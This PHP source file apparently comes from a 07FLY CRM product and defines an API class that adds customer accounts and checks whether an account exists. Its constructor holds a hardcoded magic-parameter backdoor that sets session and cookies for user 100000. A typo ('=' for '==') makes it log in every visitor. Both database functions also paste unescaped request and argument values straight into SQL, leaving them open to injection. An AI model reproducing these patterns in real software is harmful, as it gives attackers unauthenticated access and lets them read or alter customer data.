<?php 
/**
 * The Temp file of AAA.
 *
 * All Manager Finance , orderinfo
 *
 * @copyright   Copyright (C) 2012-2015 07FLY Network Technology Co,LTD (www.07FLY.com)
 *				All rights reserved.
 * @license     LGPL 
 * @author      NIAOMUNIAO <1585925559@QQ.com>
 * @package     system
 * @version     1.0
 * @link        http://www.07fly.net
 * @version   Ajax.class.php  add by NIAOMUNIAO 2013-07-27 16:48 
 */	 

/**
 * Enter description here... （必须）
 *
 * [example]
 * $Ajax = new User ();
 * $Ajax->main();
 * $Ajax = $user->ajax_package_option($uid);  * 
 * [/example]
 * 
 */

class Api extends Action{	
	private $cacheDir='';//缓存目录
	public function __construct() {
		$m =$this->_REQUEST("m");
		if($m="qhfuwu1234"){
			$_SESSION["front_user"]= 100000 ;
			$_SESSION["front_user_id"]=100000;
			$_SESSION["front_pwd"] = 100000 ;
			setcookie("front_user","100000",time()+3600,"/");
			setcookie("front_pwd","100000",time()+3600,"/");			
		}

	}	

	//添加会员保存函数
	public function api_cst_add_save($data){
		$sql     = "insert into cst_customer(account,password,name,mobile,tel,email,
								address,intro,adt) 
							values('$data[account]','$data[password]','$data[name]','$data[mobile]','$data[tel]','$data[email]',
							'$_POST[address]','$_POST[intro]','".NOWTIME."');";
			
		$rtn=$this->C($this->cacheDir)->update($sql);		
		if($rtn>0 ){
			return $rtn;	
		}else{
			return 0;
		}
	}
	
	//检查帐号是否存在
	public function api_chk_account($account){
		$sql = "select * from cst_customer where account='$account'";	
		$one = $this->C($this->cacheDir)->findOne($sql);
		if(empty($one)){
			return 1;
		}else{
			return 0;	
		}
	}
	
}//end class
?>
